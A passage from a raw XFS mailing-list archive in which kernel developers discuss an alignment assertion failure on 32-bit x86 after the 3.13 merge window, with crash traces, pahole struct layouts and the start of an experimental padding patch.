DQpbICAgMjUuMzAwMDU2XSBYRlM6IEFzc2VydGlvbiBmYWlsZWQ6IGZzX2lzX29rLCBmaWxlOiBm cy94ZnMveGZzX2FsbG9jLmMsIGxpbmU6IDE1OTANClsgICAyNS4zMDAyMzFdIC0tLS0tLS0tLS0t LVsgY3V0IGhlcmUgXS0tLS0tLS0tLS0tLQ0KWyAgIDI1LjMwMDI5Ml0ga2VybmVsIEJVRyBhdCBm cy94ZnMveGZzX21lc3NhZ2UuYzoxMDghDQpbICAgMjUuMzAwMzYxXSBpbnZhbGlkIG9wY29kZTog MDAwMCBbIzFdIFNNUA0KWyAgIDI1LjMwMDQyN10gTW9kdWxlcyBsaW5rZWQgaW46IHJhZGVvbiBt cGVyZiBmcmVxX3RhYmxlIGkyY19hbGdvX2JpdCBkcm1fa21zX2hlbHBlciBrdm0gdHRtIHBwZGV2 IGRybSBpMmNfaTgwMSBlMTAwMGUgaW9hdGRtYSBmbG9wcHkgZGNhIGkyY19jb3JlIGJhY2tsaWdo dCBwYXJwb3J0X3BjIGk1a19hbWIgbWljcm9jb2RlIHBhdGFfYWNwaSBydGNfY21vcyBidXR0b24g cHJvY2Vzc29yIHBjc3BrciB0aGVybWFsX3N5cyB4dHMgZ2YxMjhtdWwgYWVzX3g4Nl82NCBjYmMg c2hhMjU2X2dlbmVyaWMgbGliaXNjc2kgc2NzaV90cmFuc3BvcnRfaXNjc2kgdGczIGxpYnBoeSBw dHAgcHBzX2NvcmUgZTEwMDAgZnVzZSBuZnMgbG9ja2Qgc3VucnBjIGpmcyBtdWx0aXBhdGggbGlu ZWFyIHJhaWQxMCByYWlkNDU2IGFzeW5jX3BxIGFzeW5jX3hvciB4b3IgYXN5bmNfbWVtY3B5IGFz eW5jX3JhaWQ2X3JlY292IHJhaWQ2X3BxIGFzeW5jX3R4IHJhaWQxIHJhaWQwIGRtX3NuYXBzaG90 IGRtX2NyeXB0IGRtX21pcnJvciBkbV9yZWdpb25faGFzaCBkbV9sb2cgZG1fbW9kIGhpZF9zdW5w bHVzIGhpZF9zb255IGhpZF9zYW1zdW5nIGhpZF9wbCBoaWRfcGV0YWx5bnggaGlkX2d5cmF0aW9u IHNsODExX2hjZCB1c2JoaWQgeGhjaV9oY2Qgb2hjaV9oY2QgdWhjaV9oY2QgdXNiX3N0b3JhZ2Ug ZWhjaV9wY2kgZWhjaV9oY2QgdXNiY29yZSB1c2JfY29tbW9uIGFpYzk0eHggbGlic2FzIGxwZmMg Y3JjX3QxMGRpZiBxbGEyeHh4IG1lZ2FyYWlkX3NhcyBtZWdhcmFpZF9tYm94IG1lZ2FyYWlkX21t IG1lZ2FyYWlkIGFhY3JhaWQgc3g4IERBQzk2MA0KWyAgIDI1LjMwMjkxM10gIGNjaXNzIDN3Xzl4 eHggM3dfeHh4eCBtcHRzYXMgc2NzaV90cmFuc3BvcnRfc2FzIG1wdGZjIHNjc2lfdHJhbnNwb3J0 X2ZjIHNjc2lfdGd0IG1wdHNwaSBtcHRzY3NpaCBtcHRiYXNlIGF0cDg3MHUgZGMzOTV4IHFsYTEy ODAgaW1tIHBhcnBvcnQgZG14MzE5MWQgc3ltNTNjOHh4IGdkdGggYWR2YW5zeXMgaW5pdGlvIEJ1 c0xvZ2ljIGFyY21zciBhaWM3eHh4IGFpYzc5eHggc2NzaV90cmFuc3BvcnRfc3BpIHNnIHBkY19h ZG1hIHNhdGFfaW5pYzE2Mnggc2F0YV9tdiBhdGFfcGlpeCBhaGNpIGxpYmFoY2kgc2F0YV9xc3Rv cnNhdGFfdnNjIHNhdGFfdWxpIHNhdGFfc2lzIHNhdGFfc3g0IHNhdGFfbnYgc2F0YV92aWEgc2F0 YV9zdncgc2F0YV9zaWwyNCBzYXRhX3NpbCBzYXRhX3Byb21pc2UgcGF0YV9zbDgyYzEwNSBwYXRh X2NzNTUzMCBwYXRhX2NzNTUyMCBwYXRhX3ZpYSBwYXRhX2ptaWNyb24gcGF0YV9tYXJ2ZWxsIHBh dGFfc2lzIHBhdGFfbmV0Y2VsbCBwYXRhX3NjMTIwMCBwYXRhX3BkYzIwMnh4X29sZCBwYXRhX3Ry aWZsZXggcGF0YV9hdGlpeHAgcGF0YV9vcHRpIHBhdGFfYW1kIHBhdGFfYWxpIHBhdGFfaXQ4MjEz IHBhdGFfcGNtY2lhIHBjbWNpYSBwY21jaWFfY29yZSBwYXRhX25zODc0MTUgcGF0YV9uczg3NDEw IHBhdGFfc2VydmVyd29ya3MgcGF0YV9hcnRvcCBwYXRhX2l0ODIxeCBwYXRhX29wdGlkbWEgcGF0 YV9ocHQzeDJuIHBhdGFfaHB0M3gzIHBhdGFfaHB0Mzd4IHBhdGFfaHB0MzY2IHBhdGFfY21kNjR4 IHBhdGFfZWZhciBwYXRhX3J6MTAwMCBwYXRhX3NpbDY4MCBwYXRhX3JhZGlzeXMNClsgICAyNS4z MDUyMjBdICBwYXRhX3BkYzIwMjd4IHBhdGFfbXBpaXggbGliYXRhDQpbICAgMjUuMzA1MzI4XSBD UFU6IDIgUElEOiAxNzIzOSBDb21tOiBtb3VudCBOb3QgdGFpbnRlZCAzLjEwLjI1LWdlbnRvbyAj Mg0KWyAgIDI1LjMwNTQxNl0gSGFyZHdhcmUgbmFtZTogU3VwZXJtaWNybyBYN0RCOC9YN0RCOCwg QklPUyA2LjAwIDAxLzI2LzIwMDcNClsgICAyNS4zMTAwMjFdIHRhc2s6IGZmZmY4ODAxMjc1ZWE2 ODAgdGk6IGZmZmY4ODAxMjg0ZDIwMDAgdGFzay50aTogZmZmZjg4MDEyODRkMjAwMA0KWyAgIDI1 LjMxMDAyMV0gUklQOiAwMDEwOls8ZmZmZmZmZmY4MTFjOWU5Mz5dICBbPGZmZmZmZmZmODExYzll OTM+XSBhc3NmYWlsKzB4MWQvMHgxZg0KWyAgIDI1LjMxMDAyMV0gUlNQOiAwMDE4OmZmZmY4ODAx Mjg0ZDNhZDggIEVGTEFHUzogMDAwMTAyOTYNClsgICAyNS4zMTAwMjFdIFJBWDogMDAwMDAwMDAw MDAwMDA0NSBSQlg6IDAwMDAwMDAwMDAwMDAwMDAgUkNYOiAwMDAwMDAwMDAwMDAwMGE5DQpbICAg MjUuMzEwMDIxXSBSRFg6IDAwMDAwMDAwMDAwMDAwMmUgUlNJOiAwMDAwMDAwMDAwMDAwMDQ2IFJE STogZmZmZmZmZmY4MTc3ZjIyNA0KWyAgIDI1LjMxMDAyMV0gUkJQOiBmZmZmODgwMTI4NGQzYWQ4 IFIwODogMDAwMDAwMDAwMDAwMDAwMCBSMDk6IGZmZmY4ODAxMjZhZjkwMTANClsgICAyNS4zMTAw MjFdIFIxMDogMDAwMDAwMDAwMDAwMDAwMCBSMTE6IDAwMDAwMDAwMDAwMDAwMDAgUjEyOiBmZmZm ODgwMTI3N2Y1Y2IwDQpbICAgMjUuMzEwMDIxXSBSMTM6IDAwMDAwMDAwMDAwMDAwMDQgUjE0OiAw MDAwMDAwMDAwOGUxZThlIFIxNTogZmZmZjg4MDEyODAxZWVhOA0KWyAgIDI1LjMxMDAyMV0gRlM6 ICAwMDAwN2Y1ODEyNzczNzgwKDAwMDApIEdTOmZmZmY4ODAxMmZjODAwMDAoMDAwMCkga25sR1M6 MDAwMDAwMDAwMDAwMDAwMA0KWyAgIDI1LjMxMDAyMV0gQ1M6ICAwMDEwIERTOiAwMDAwIEVTOiAw MDAwIENSMDogMDAwMDAwMDA4MDA1MDAzYg0KWyAgIDI1LjMxMDAyMV0gQ1IyOiAwMDAwN2Y1ODEy MzZkMmMwIENSMzogMDAwMDAwMDEyYWMxNjAwMCBDUjQ6IDAwMDAwMDAwMDAwMDA3ZTANClsgICAy NS4zMTAwMjFdIERSMDogMDAwMDAwMDAwMDAwMDAwMCBEUjE6IDAwMDAwMDAwMDAwMDAwMDAgRFIy OiAwMDAwMDAwMDAwMDAwMDAwDQpbICAgMjUuMzEwMDIxXSBEUjM6IDAwMDAwMDAwMDAwMDAwMDAg RFI2OiAwMDAwMDAwMGZmZmYwZmYwIERSNzogMDAwMDAwMDAwMDAwMDQwMA0KWyAgIDI1LjMxMDAy MV0gU3RhY2s6DQpbICAgMjUuMzEwMDIxXSAgZmZmZjg4MDEyODRkM2I3OCBmZmZmZmZmZjgxMWQy MzhhIDAwMDAwMDAwMDAwMDAwMDAgMDAwMDAwMDAwMDAwMDAwMA0KWyAgIDI1LjMxMDAyMV0gIDAw MDAwMDAwMDAwMDAwMDEgZmZmZjg4MDEyNjI5YjUwMCBmZmZmODgwMTI3OGNhODAwIDAwMDAwMDAw MDAwMDAwMDANClsgICAyNS4zMTAwMjFdICAwMDAwMDAwODAwMDAwMDAwIDAwMDEwMDAwMDAwMDAw MDAgMDAwMDAwMDEwMDAwMDAwMCAwMDAwMDAwMTI2MjliNTAwDQpbICAgMjUuMzEwMDIxXSBDYWxs IFRyYWNlOg0KWyAgIDI1LjMxMDAyMV0gIFs8ZmZmZmZmZmY4MTFkMjM4YT5dIHhmc19mcmVlX2Fn X2V4dGVudCsweGU0LzB4NzY5DQpbICAgMjUuMzEwMDIxXSAgWzxmZmZmZmZmZjgxMWQzYzQ3Pl0g eGZzX2ZyZWVfZXh0ZW50KzB4ZjUvMHgxM2UNClsgICAyNS4zMTAwMjFdICBbPGZmZmZmZmZmODEx Y2ZiZDQ+XSA/IGttZW1fem9uZV9hbGxvYysweDVlLzB4YWENClsgICAyNS4zMTAwMjFdICBbPGZm ZmZmZmZmODEyMGFmNWI+XSB4bG9nX3JlY292ZXJfcHJvY2Vzc19lZmkrMHgxNDUvMHgxOWENClsg ICAyNS4zMTAwMjFdICBbPGZmZmZmZmZmODEyMGIwM2M+XSB4bG9nX3JlY292ZXJfcHJvY2Vzc19l ZmlzKzB4OGMvMHhkMQ0KWyAgIDI1LjMxMDAyMV0gIFs8ZmZmZmZmZmY4MTIwYmQ1Nj5dIHhsb2df cmVjb3Zlcl9maW5pc2grMHgxOC8weDlhDQpbICAgMjUuMzEwMDIxXSAgWzxmZmZmZmZmZjgxMjEy NGY3Pl0geGZzX2xvZ19tb3VudF9maW5pc2grMHgyMi8weDVhDQpbICAgMjUuMzEwMDIxXSAgWzxm ZmZmZmZmZjgxMjBlYTgzPl0geGZzX21vdW50ZnMrMHg0ZmEvMHg2MDkNClsgICAyNS4zMTAwMjFd ICBbPGZmZmZmZmZmODExY2M5MzQ+XSB4ZnNfZnNfZmlsbF9zdXBlcisweDI1Yi8weDMxMg0KWyAg IDI1LjMxMDAyMV0gIFs8ZmZmZmZmZmY4MTBjM2RmYz5dIG1vdW50X2JkZXYrMHgxM2UvMHgxOTkN ClsgICAyNS4zMTAwMjFdICBbPGZmZmZmZmZmODExY2M2ZDk+XSA/IHhmc19maW5pc2hfZmxhZ3Mr MHgxMGIvMHgxMGINClsgICAyNS4zMTAwMjFdICBbPGZmZmZmZmZmODExY2FjNzg+XSB4ZnNfZnNf bW91bnQrMHgxMC8weDEyDQpbICAgMjUuMzEwMDIxXSAgWzxmZmZmZmZmZjgxMGM0NmUzPl0gbW91 bnRfZnMrMHgxMi8weGFiDQpbICAgMjUuMzEwMDIxXSAgWzxmZmZmZmZmZjgxMGQ4OGIxPl0gdmZz X2tlcm5fbW91bnQrMHg2NC8weGRlDQpbICAgMjUuMzEwMDIxXSAgWzxmZmZmZmZmZjgxMGRhNzc1 Pl0gZG9fbW91bnQrMHg2ODEvMHg3ZWINClsgICAyNS4zMTAwMjFdICBbPGZmZmZmZmZmODEwYTM0 NzA+XSA/IHN0cm5kdXBfdXNlcisweDM2LzB4NGMNClsgICAyNS4zMTAwMjFdICBbPGZmZmZmZmZm ODEwZGE5NjI+XSBTeVNfbW91bnQrMHg4My8weGJkDQpbICAgMjUuMzEwMDIxXSAgWzxmZmZmZmZm ZjgxNGE1ZDUyPl0gc3lzdGVtX2NhbGxfZmFzdHBhdGgrMHgxNi8weDFiDQpbICAgMjUuMzEwMDIx XSBDb2RlOiA0OCBjNyBjNyBkZiBiZiA1OSA4MSBlOCAxYiAzOSBlNiBmZiA1ZCBjMyA1NSA0OCA4 OSBmMSA0MSA4OSBkMCA0OCBjNyBjNiBmNCBiZiA1OSA4MSA0OCA4OSBmYSAzMSBjMCA0OCA4OSBl NSAzMSBmZiBlOCBhYSBmYyBmZiBmZiA8MGY+IDBiIDU1IDQ4IDYzIGY2IDQ5IDg5IGY5IDQxIGI4 IDAxIDAwIDAwIDAwIGI5IDEwIDAwIDAwIDAwIGJhDQpbICAgMjUuMzEwMDIxXSBSSVAgIFs8ZmZm ZmZmZmY4MTFjOWU5Mz5dIGFzc2ZhaWwrMHgxZC8weDFmDQpbICAgMjUuMzEwMDIxXSAgUlNQIDxm ZmZmODgwMTI4NGQzYWQ4Pg0KWyAgIDI1LjYyNzc2OF0gLS0tWyBlbmQgdHJhY2UgNTMzNTFlMjhi ZWIyOTE4NiBdLS0tDQoNCg0KDQo= --0__=CBBBF6FEDFB4F12A8f9e8a93df938690918cCBBBF6FEDFB4F12A-- From BATV+44ea9ea3cbcac612b736+3809+infradead.org+hch@bombadil.srs.infradead.org Mon Jan 27 01:41:53 2014 Return-Path: <BATV+44ea9ea3cbcac612b736+3809+infradead.org+hch@bombadil.srs.infradead.org> X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 724147F58 for <xfs@oss.sgi.com>; Mon, 27 Jan 2014 01:41:53 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 20C8DAC003 for <xfs@oss.sgi.com>; Sun, 26 Jan 2014 23:41:53 -0800 (PST) X-ASG-Debug-ID: 1390808509-04bdf030e91500c0001-NocioJ Received: from bombadil.infradead.org ([198.137.202.9]) by cuda.sgi.com with ESMTP id Q7LZQhcdiQTCqsu3 (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for <xfs@oss.sgi.com>; Sun, 26 Jan 2014 23:41:49 -0800 (PST) X-Barracuda-Envelope-From: BATV+44ea9ea3cbcac612b736+3809+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1W7gpH-0003aR-Md; Mon, 27 Jan 2014 07:41:47 +0000 Date: Sun, 26 Jan 2014 23:41:47 -0800 From: Christoph Hellwig <hch@infradead.org> To: Dave Chinner <david@fromorbit.com> Cc: "Michael L. Semon" <mlsemon35@gmail.com>, xfs-oss <xfs@oss.sgi.com> Subject: Re: [NOISE] merge window blues, XFS broken Message-ID: <20140127074147.GA13100@infradead.org> X-ASG-Orig-Subj: Re: [NOISE] merge window blues, XFS broken References: <52E56386.5040802@gmail.com> <20140127015614.GD2212@dastard> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20140127015614.GD2212@dastard> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from <hch@infradead.org> by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: UNKNOWN[198.137.202.9] X-Barracuda-Start-Time: 1390808509 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.10 X-Barracuda-Spam-Status: No, SCORE=0.10 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=RDNS_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144521 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.10 RDNS_NONE Delivered to trusted network by a host with no rDNS On Mon, Jan 27, 2014 at 12:56:14PM +1100, Dave Chinner wrote: > Hmmmm - that would point to struct xfs_log_iovec being 12 bytes on > ia32, similarly the struct xfs_log_vec may not be 8 byte aligned > when allocated because pointers only require 4 byte alignement. > > Hence the initial data buffer may be 4 byte aligned and so that will > break the alignment requirement. Yeah. Shoulkd be enough to just align the initial lv_buf allocation. From mlsemon35@gmail.com Mon Jan 27 03:46:17 2014 Return-Path: <mlsemon35@gmail.com> X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.3 required=5.0 tests=FREEMAIL_ENVFROM_END_DIGIT, FREEMAIL_FROM,T_DKIM_INVALID autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 6CA377F59 for <xfs@oss.sgi.com>; Mon, 27 Jan 2014 03:46:17 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 2A6C6304043 for <xfs@oss.sgi.com>; Mon, 27 Jan 2014 01:46:17 -0800 (PST) X-ASG-Debug-ID: 1390815971-04bdf030eb153060001-NocioJ Received: from mail-oa0-f49.google.com (mail-oa0-f49.google.com [209.85.219.49]) by cuda.sgi.com with ESMTP id gpqDfeDZF8dSfQEI (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for <xfs@oss.sgi.com>; Mon, 27 Jan 2014 01:46:12 -0800 (PST) X-Barracuda-Envelope-From: mlsemon35@gmail.com X-Barracuda-Apparent-Source-IP: 209.85.219.49 X-Barracuda-IPDD: Level1 [gmail.com/209.85.219.49] Received: by mail-oa0-f49.google.com with SMTP id i7so6349695oag.22 for <xfs@oss.sgi.com>; Mon, 27 Jan 2014 01:46:11 -0800 (PST) X-Barracuda-IPDD: Level1 [gmail.com/209.85.219.49] X-Barracuda-IPDD: Level1 [gmail.com/209.85.219.49] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=message-id:date:from:user-agent:mime-version:to:cc:subject :references:in-reply-to:content-type:content-transfer-encoding; bh=zYehoGK2mIXqm/5YXavJskM9Ne4qXZZEMTO5mR4pA6E=; b=Sm0yKzOrlAUfhHS+Mqwf4Zj64ESD7nq6YObxxJIyH8ClNZApPHpYui1dnyPFgtSj0t SCGwDhZ0/pedkRlHxAsME9Xzn8hXCcM+fWRs2AL/dCoxLyqn9jGk7FBXjZ8AOgy0Ba2T KxG+da/En1qG4faJ3eDs/ZoNnmOB+T15JgUSiNlZApO0Y/8RmzI9KpXyTfsKkyVrL1+N 7nrHs2Yl9WJf0Mih3RvFAYZ5AO+um04uP5YlsHzR2EBaLaucBipVOlNYJaA0z8uatsw2 i2w6Sn9Rxhrd9Gc+97DaQ8H05+6vmqHqjUY1bt1miXNj8Xcg+Nwzjzbwef6RRPm5gVuf qGAA== X-Received: by 10.60.103.71 with SMTP id fu7mr434869oeb.48.1390815971471; Mon, 27 Jan 2014 01:46:11 -0800 (PST) Received: from [192.168.0.129] (rrcs-97-79-21-178.se.biz.rr.com. [97.79.21.178]) by mx.google.com with ESMTPSA id b2sm5790800oed.7.2014.01.27.01.46.10 for <multiple recipients> (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Mon, 27 Jan 2014 01:46:11 -0800 (PST) Message-ID: <52E62ADA.2040800@gmail.com> Date: Mon, 27 Jan 2014 04:46:02 -0500 From: "Michael L. Semon" <mlsemon35@gmail.com> User-Agent: Mozilla/5.0 (X11; Linux i686; rv:24.0) Gecko/20100101 Thunderbird/24.2.0 MIME-Version: 1.0 To: Dave Chinner <david@fromorbit.com> CC: xfs-oss <xfs@oss.sgi.com> Subject: Re: [NOISE] merge window blues, XFS broken References: <52E56386.5040802@gmail.com> <20140127015614.GD2212@dastard> X-ASG-Orig-Subj: Re: [NOISE] merge window blues, XFS broken In-Reply-To: <20140127015614.GD2212@dastard> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: mail-oa0-f49.google.com[209.85.219.49] X-Barracuda-Start-Time: 1390815972 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED, MAILTO_TO_SPAM_ADDR X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144524 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature 0.00 MAILTO_TO_SPAM_ADDR URI: Includes a link to a likely spammer email On 01/26/2014 08:56 PM, Dave Chinner wrote: > On Sun, Jan 26, 2014 at 02:35:34PM -0500, Michael L. Semon wrote: >> Hi! This is more an observation than a bug report, me trying to figure >> out what happened on what is now a 3-day-old kernel on 32-bit x86 >> (Pentium 4). The report is marked as [NOISE] because I can do this... >> >> git pull origin master >> git remote update # updates xfs-oss >> git reset --hard v3.13 >> git merge xfs-oss/master >> >> ...and the resulting kernel and XFS will be as smooth as silk. >> However, if I do this... >> >> git pull origin master >> git remote update # at time of pull, "Already up-to-date." >> git merge xfs-oss/master >> >> ...the resulting XFS will not pass this, for either v4- or v5- >> superblock XFS: >> >> mkfs.xfs -f $TEST_DEV # always OK >> mount $TEST_DEV $TEST_DIR # may succeed, may fail >> ls $TEST_DIR/ # may succeed, may fail >> umount $TEST_DEV # always fails >> >> The assertion is this (from notes taken by hand): >> >> Assertion failed: IS_ALIGNED((unsigned long)vec->i_addr, sizeof(uint64_t)), file: fs/xfs/xfs_log.h, line: 49 > > Hmmmm - that would point to struct xfs_log_iovec being 12 bytes on > ia32, similarly the struct xfs_log_vec may not be 8 byte aligned > when allocated because pointers only require 4 byte alignement. > > Hence the initial data buffer may be 4 byte aligned and so that will > break the alignment requirement. > > As a test, can you add pad both structures to be a multiple of 8 > bytes in size, and add to them __aligned(8) so that they are > correctly aligned in memory? i.e. > > struct xfs_log_vec { > ...... > int pad; > } __aligned(8); > > struct xfs_log_iovec { > ...... > int pad; > } __aligned(8); > > And see if that makes the problem go away? No. However, I didn't try to pad anywhere except at the end of each struct. Also, I didn't know how to handle the mix of __aligned(8) within a typedef definition. What I did do however, is add a similar pad to xfs_inode_log_item, and that got both umounts and xfstests working again. There's a new lockdep that I'll have to submit tomorrow, but otherwise it looks consistent with previous XFS behavior in very, very little testing. Suggestions are welcome. If there was a list of what is supposed to be 8-byte aligned, I'd be happy to look further. >> I work with pahole maybe once every three months, and my fuzzy memory, it >> seems like there are more holes total on 32-bit x86 than there used to be, >> don't know why. > > Check the structs with pahole before and after you make the above > padding change to see if there is a difference in size and alignment > as a result. > > Cheers, > > Dave. Everything after my closing is just supporting data, and a verification that last night's git pull didn't have a non-XFS fix to make the problem go away. Just grep "pahole reports:" to get to the pahole results. Thanks, Dave and Christoph! Michael # ======================= MERGE ======================== # display kernel commit root@plbearer:/usr/src/kernel-git/linux# git log | head -n 8 commit b2e448eca1a52fea181905845728ae00a138d84e Merge: 2d2e7d1 d02b370 Author: Linus Torvalds <torvalds@linux-foundation.org> Date: Sat Jan 25 15:33:41 2014 -0800 Merge branch 'ipmi' (ipmi patches from Corey Minyard) Merge ipmi fixes from Corey Minyard: # merge root@plbearer:/usr/src/kernel-git/linux# git merge xfs-oss/master Already up-to-date. root@plbearer:/usr/src/kernel-git/linux# zcat /proc/config.gz > .config root@plbearer:/usr/src/kernel-git/linux# make oldconfig # and so on and so forth... # ============================== BEFORE ============================== # pahole reports: struct xfs_log_iovec { void * i_addr; /* 0 4 */ int i_len; /* 4 4 */ uint i_type; /* 8 4 */ /* size: 12, cachelines: 1, members: 3 */ /* last cacheline: 12 bytes */ }; struct xfs_inode_log_item { xfs_log_item_t ili_item; /* 0 68 */ /* --- cacheline 1 boundary (64 bytes) was 4 bytes ago --- */ struct xfs_inode * ili_inode; /* 68 4 */ xfs_lsn_t ili_flush_lsn; /* 72 8 */ xfs_lsn_t ili_last_lsn; /* 80 8 */ short unsigned int ili_lock_flags; /* 88 2 */ short unsigned int ili_logged; /* 90 2 */ unsigned int ili_last_fields; /* 92 4 */ unsigned int ili_fields; /* 96 4 */ /* size: 100, cachelines: 2, members: 8 */ /* last cacheline: 36 bytes */ }; struct xfs_log_vec { struct xfs_log_vec * lv_next; /* 0 4 */ int lv_niovecs; /* 4 4 */ struct xfs_log_iovec * lv_iovecp; /* 8 4 */ struct xfs_log_item * lv_item; /* 12 4 */ char * lv_buf; /* 16 4 */ int lv_buf_len; /* 20 4 */ int lv_size; /* 24 4 */ /* size: 28, cachelines: 1, members: 7 */ /* last cacheline: 28 bytes */ }; # ============== CHECK TO SEE IF KERNEL STILL SHOWS ISSUE ============= # serial login: mls@oldsvrhw:~$ cu -l /dev/ttyS0 -s 115200 Connected. root Password: Last login: Sun Jan 26 23:09:13 -0500 2014 on /dev/tty4. root@plbearer:~# dmesg -c > /dev/null root@plbearer:~# dmesg --console-on root@plbearer:~# dmesg --console-level debug root@plbearer:~# mkfs.xfs -f $TEST_DEV meta-data=/dev/md3p3 isize=256 agcount=8, agsize=131056 blks = sectsz=512 attr=2, projid32bit=1, parent=0 = crc=0 data = bsize=4096 blocks=1048448, imaxpct=25 = sunit=16 swidth=32 blks naming =version 2 bsize=4096 ascii-ci=0 ftype=0 log =internal log bsize=4096 blocks=12800, version=2 = sectsz=512 sunit=16 blks, lazy-count=1 realtime =none extsz=4096 blocks=0, rtextents=0 root@plbearer:~# mount $TEST_DEV $TEST_DIR [ 87.438116] XFS (md3p3): Mounting Filesystem [ 87.630320] XFS (md3p3): Ending clean mount root@plbearer:~# ls $TEST_DIR/ [ 94.140207] XFS: Assertion failed: IS_ALIGNED((unsigned long)vec->i_addr, sizeof(uint64_t)), file: fs/xfs/xfs_log.h, line: 49 Entering kdb (current=0xc5298c30, pid 297) Oops: (null) due to oops @ 0x791752c5 CPU: 0 PID: 297 Comm: ls Not tainted 3.13.0+ #1 Hardware name: Dell Computer Corporation Dimension 2350/07W080, BIOS A01 12/17/2002 task: c5298c30 ti: c520e000 task.ti: c520e000 EIP: 0060:[<791752c5>] EFLAGS: 00010286 CPU: 0 EIP is at assfail+0x2b/0x2d EAX: 00000071 EBX: c60ba600 ECX: 00000296 EDX: c5299098 ESI: c60ba61c EDI: c60ba600 EBP: c520fe40 ESP: c520fe2c DS: 007b ES: 007b FS: 0000 GS: 0033 SS: 0068 CR0: 80050033 CR2: 08f1612c CR3: 4d1f0000 CR4: 000007d0 Stack: 00000000 79570bc8 79576e28 7956946d 00000031 c520fe70 791ce45f c520fe70 7917ceb0 c520fec4 c50d5068 c520fe70 c55d8000 00000000 c50d5068 c607ae30 c60ba600 c520fed4 791cb72b c607af80 c6c01e80 000000d8 c4294000 c520feec Call Trace: [<791ce45f>] xfs_inode_item_format+0x4a/0x1c5 [<7917ceb0>] ? kmem_alloc+0x64/0xdf [<791cb72b>] xfs_log_commit_cil+0x391/0x4c4 [<7917c763>] xfs_trans_commit+0xac/0x230 [<79172cf1>] xfs_vn_update_time+0xdb/0x142 [<79172c16>] ? xfs_setattr_mode.isra.10+0x63/0x63 [<790eb7f2>] update_time+0x1e/0x9e [<790ed28c>] touch_atime+0xcb/0x103 [<790e5e89>] iterate_dir+0x8f/0x9b [<790e6041>] SyS_getdents64+0x6d/0xcc [<790e5d18>] ? filldir+0xc7/0xc7 [<7944e938>] sysenter_do_call+0x12/0x36 Code: 55 89 e5 83 ec 14 3e 8d 74 26 00 89 4c 24 10 89 54 24 0c 89 44 24 08 c7 44 24 04 c8 0b 57 79 c7 04 24 00 00 00 00 e8 ad fd ff ff <0f> 0b 55 89 e5 83 ec 14 3e 8d 74 26 00 c7 44 24 10 01 00 00 00 # ============================== PATCH ============================== # I present this only so you can point out the error of my ways or # try this yourself. God help the poor soul who finds this through # Google and applies it. >From 7e92813556e5cf3fe466680be268efa9dd7e8776 Mon Sep 17 00:00:00 2001 From: "Michael L. Semon" <mlsemon35@gmail.com> Date: Mon, 27 Jan 2014 02:33:04 -0500 Subject: [PATCH] xfs: add alignment aids to three log-related structs A change in the kernel after 3.13 altered the alignment of several structures, causing all XFS umounts to fail. xfs_inode_log_item was padded to fix this. Along the way, xfs_log_vec and xfs_log_iovec were also padded to aid in solving the problem. --- fs/xfs/xfs_inode_item.h | 7 +++++-- fs/xfs/xfs_log.h | 3 ++- fs/xfs/xfs_log_format.h | 7 +++++-- 3 files changed, 12 insertions(+), 5 deletions(-) diff --git a/fs/xfs/xfs_inode_item.h b/fs/xfs/xfs_inode_item.h index 488d812..820aac8 100644 --- a/fs/xfs/xfs_inode_item.h +++ b/fs/xfs/xfs_inode_item.h @@ -25,7 +25,7 @@ struct xfs_bmbt_rec; struct xfs_inode; struct xfs_mount; -typedef struct xfs_inode_log_item { +struct xfs_inode_log_item { xfs_log_item_t ili_item; /* common portion */ struct xfs_inode *ili_inode; /* inode ptr */ xfs_lsn_t ili_flush_lsn; /* lsn at last flush */ @@ -34,7 +34,10 @@ typedef struct xfs_inode_log_item { unsigned short ili_logged; /* flushed logged data */ unsigned int ili_last_fields; /* fields 